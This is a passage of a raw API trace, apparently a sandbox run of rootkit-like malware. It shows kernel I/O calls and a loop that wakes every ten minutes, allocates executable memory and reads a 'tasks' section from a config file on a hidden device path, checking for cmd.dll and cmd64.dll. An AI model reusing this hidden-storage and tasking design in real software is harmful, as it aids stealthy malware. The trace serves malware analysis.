KeEnterCriticalRegion () [0119.074] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.074] ExFreePoolWithTag (P=0xfffffa8003649ab0, Tag=0x0) [0119.074] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.074] KeLeaveCriticalRegion () [0119.074] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.074] ReleaseMutex (hMutex=0xf0) returned 1 [0119.074] Sleep (dwMilliseconds=0x927c0) [0119.093] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0119.093] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0119.093] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0119.093] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.093] KeEnterCriticalRegion () [0119.093] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.093] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.094] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.094] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.094] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0119.094] IdePortDispatch () returned 0x103 [0119.094] KeWaitForMutexObject () returned 0x0 [0119.094] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.094] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.094] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.094] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0119.094] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0119.094] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003aa7360 [0119.094] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.094] KeLeaveCriticalRegion () [0119.094] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.094] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.094] KeEnterCriticalRegion () [0119.094] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.094] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.094] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.094] KeLeaveCriticalRegion () [0119.094] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.094] KeEnterCriticalRegion () [0119.094] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.094] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.094] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.094] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.094] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0119.095] IdePortDispatch () returned 0x103 [0119.095] KeWaitForMutexObject () returned 0x0 [0119.095] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.095] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.095] KeLeaveCriticalRegion () [0119.095] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.095] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.095] KeEnterCriticalRegion () [0119.095] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.095] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c66000 [0119.095] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.095] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0119.095] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0119.095] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0119.095] IdePortDispatch () returned 0x103 [0119.095] KeWaitForMutexObject () returned 0x0 [0119.096] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.096] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.096] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0119.096] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0119.096] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0119.096] IdePortDispatch () returned 0x103 [0119.096] KeWaitForMutexObject () returned 0x0 [0119.096] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.096] KeLeaveCriticalRegion () [0119.096] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.097] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.097] KeEnterCriticalRegion () [0119.097] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.097] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.097] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.097] KeLeaveCriticalRegion () [0119.097] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.097] KeEnterCriticalRegion () [0119.097] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.097] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0119.097] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bdb840, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0119.097] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.097] KeLeaveCriticalRegion () [0119.097] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.097] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.097] KeEnterCriticalRegion () [0119.097] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.097] ExFreePoolWithTag (P=0xfffffa8003aa7360, Tag=0x0) [0119.097] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.097] KeLeaveCriticalRegion () [0119.097] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.097] ReleaseMutex (hMutex=0xf0) returned 1 [0119.097] Sleep (dwMilliseconds=0x927c0) [0119.117] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0119.117] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0119.117] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0119.117] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.117] KeEnterCriticalRegion () [0119.117] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.117] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.117] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.117] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.117] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0119.117] IdePortDispatch () returned 0x103 [0119.117] KeWaitForMutexObject () returned 0x0 [0119.117] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.117] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.117] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.117] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0119.117] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0119.117] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003aa73b0 [0119.117] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.117] KeLeaveCriticalRegion () [0119.117] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.117] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.118] KeEnterCriticalRegion () [0119.118] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.118] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.118] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.118] KeLeaveCriticalRegion () [0119.118] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.118] KeEnterCriticalRegion () [0119.118] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.118] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.118] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.118] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.118] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0119.118] IdePortDispatch () returned 0x103 [0119.118] KeWaitForMutexObject () returned 0x0 [0119.118] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.118] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.118] KeLeaveCriticalRegion () [0119.118] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.118] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.118] KeEnterCriticalRegion () [0119.118] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.118] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c6b000 [0119.118] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.118] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0119.118] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0119.118] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0119.119] IdePortDispatch () returned 0x103 [0119.119] KeWaitForMutexObject () returned 0x0 [0119.119] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.119] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.119] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0119.119] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0119.119] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0119.119] IdePortDispatch () returned 0x103 [0119.119] KeWaitForMutexObject () returned 0x0 [0119.119] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.119] KeLeaveCriticalRegion () [0119.119] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.120] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.120] KeEnterCriticalRegion () [0119.120] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.120] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.120] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.120] KeLeaveCriticalRegion () [0119.120] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.120] KeEnterCriticalRegion () [0119.120] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.120] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0119.120] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003aa8800, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0119.120] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.120] KeLeaveCriticalRegion () [0119.120] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.120] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.120] KeEnterCriticalRegion () [0119.120] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.120] ExFreePoolWithTag (P=0xfffffa8003aa73b0, Tag=0x0) [0119.120] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.120] KeLeaveCriticalRegion () [0119.120] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.121] ReleaseMutex (hMutex=0xf0) returned 1 [0119.121] Sleep (dwMilliseconds=0x927c0) [0119.139] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0119.139] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0119.139] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0119.139] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.139] KeEnterCriticalRegion () [0119.139] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.139] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.139] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.139] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.139] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0119.139] IdePortDispatch () returned 0x103 [0119.140] KeWaitForMutexObject () returned 0x0 [0119.140] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.140] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.140] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.140] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0119.140] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0119.140] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80039ca370 [0119.140] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.140] KeLeaveCriticalRegion () [0119.140] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.140] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.140] KeEnterCriticalRegion () [0119.140] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.140] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.140] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.140] KeLeaveCriticalRegion () [0119.140] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.140] KeEnterCriticalRegion () [0119.140] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.140] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.140] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.140] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.140] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0119.140] IdePortDispatch () returned 0x103 [0119.141] KeWaitForMutexObject () returned 0x0 [0119.141] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.141] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.141] KeLeaveCriticalRegion () [0119.141] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.141] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.141] KeEnterCriticalRegion () [0119.141] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.141] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c70000 [0119.141] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.141] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0119.141] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0119.141] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0119.141] IdePortDispatch () returned 0x103 [0119.141] KeWaitForMutexObject () returned 0x0 [0119.141] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.141] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.141] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0119.141] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0119.141] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0119.141] IdePortDispatch () returned 0x103 [0119.142] KeWaitForMutexObject () returned 0x0 [0119.142] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.142] KeLeaveCriticalRegion () [0119.142] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.142] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.142] KeEnterCriticalRegion () [0119.142] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.142] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.142] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.142] KeLeaveCriticalRegion () [0119.143] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.143] KeEnterCriticalRegion () [0119.143] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.143] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0119.143] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80039d67f0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0119.143] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.143] KeLeaveCriticalRegion () [0119.143] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.143] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.143] KeEnterCriticalRegion () [0119.143] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.143] ExFreePoolWithTag (P=0xfffffa80039ca370, Tag=0x0) [0119.143] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.143] KeLeaveCriticalRegion () [0119.143] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.143] ReleaseMutex (hMutex=0xf0) returned 1 [0119.143] Sleep (dwMilliseconds=0x927c0) [0119.156] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0119.156] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0119.157] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0119.158] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.158] KeEnterCriticalRegion () [0119.158] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.158] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.158] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.158] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.158] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0119.158] IdePortDispatch () returned 0x103 [0119.158] KeWaitForMutexObject () returned 0x0 [0119.158] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.158] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.158] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.158] strncpy (in: _Dest=0xfffffa80027daf68, 